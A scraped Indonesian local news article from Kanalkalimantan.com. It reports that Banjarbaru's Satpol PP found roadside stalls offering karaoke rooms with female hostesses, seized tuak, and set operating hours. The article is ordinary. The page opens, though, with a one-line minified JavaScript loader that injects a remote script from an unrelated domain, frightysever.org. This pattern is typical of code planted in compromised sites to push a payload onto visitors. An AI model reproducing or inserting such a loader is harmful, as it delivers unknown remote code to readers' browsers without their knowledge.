(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Patroli Satpol PP Kota Banjarbaru mendapati temuan sejumlah warung remang-remang -kerap disebut warung jablay- yang dilengkapi dengan fasilitas karaoke bersama dengan perempuan pemandu, Jumat (27/10/2023) malam.
Sejumlah warung yang berdiri itu beroperasi di Jalan Trikora, Kelurahan Landasan Ulin Tengah, Kecamatan Liang Anggang, Kota Banjarbaru, sebelumnya sempat dibongkar di kawasan simpang LIK Jalan Trikora.
Penertiban dipimpin Kepala Bidang Tibum dan Tranmas Djohansyah. Personel Satpol PP melakukan pemeriksaan warung yang sebelumnya dilaporkan kembali buka selama bulan Oktober.
Baca juga: Rekor MURI 10 Ribu Pesilat Banua, Diikuti Anak 10 Tahun hingga Orangtua Berumur 60
“Kita lakukan pemantauan dan memang ternyata benar banyak terlihat warung-warung yang malah menyediakan room karaoke bersama dengan pemandunya,” ujar Kabid Tibum dan Tranmas, Djohansyah.
Djihansyah mengatakan bahwa fasilitas room karaoke di warung itu merupakan temuan pertama.
“Tidak hanya menyediakan kopi dan tempat persinggahan saja bagi pengguna jalan, berkembang menyediakan kamar-kamar karaoke yang dibuka untuk pengunjung,” ungkap dia.
Baca juga: 10 Ribu Pesilat Banua Pecahkan Rekor MURI
Pengunjung warung itu pun kata dia bervariasi, tidak hanya berasal dalam kota saja, juga luar Kota Banjarbaru. Karena mengingat kawasan itu menjadi tempat persinggahan para sopir truk yang akan melintas ke luar Kalimantan Selatan.
Untuk itu personel saat ini masih menindak dengan melakukan pemeriksaan dan pengawasan serta himbauan kepada pengunjung dan juga pekerja di warung itu.
“Yang jelas kita imbau warung untuk menaati jam operasional tutup pukul 12.00 Wita, hari sabtu minggu pukul 01.00 Wita. Hari Jumat atau malam Jumat libur,” tegasnya.
Dalam pemeriksaan ini juga, personel mendapati sebuah warung yang menjualbelikan minuman keras jenis tuak.
Baca juga: Pelajar Pungut Sampah di Pasar Amuntai Peringati Hari Sumpah Pemuda
“Tuak sudah kita angkut dan orangnya kita panggil hari Selasa untuk datang ke kantor. Kita juga wanti-wanti untuk tidak menjual miras atau pun sekedar menyiapkan dan menyediakan, jika ketahuan maka langsung akan kita bawa,” sambungnya.
Adapun para pekerja di warung itu mengaku hanya sebatas pekerja saja, serta bangunan yang dipakai pun hanya sewaan bukan bangunan milik pribadi.
Baca juga: Lansia Pasar Lama Dibawa Dinsos Banjarmasin ke Rumah Singgah
“Ini menjadi bahan koordinasi kita dengan Disperkim maupun Dinas Pariwisata, karena berkaitan dengan tempat ini istilahnya menjadi tempat temuan baru maka kita pikirkan bersama,” pungkasnya. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Bentuk kepedulian terhadap masyarakat, Unit Binmas Polsek Banjarbaru Utara memberikan bantuan sebuah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More
KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puluhan peternak babi di Jalan Pandarapan RT 34 RW 5, Kelurahan Guntung… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More
This website uses cookies.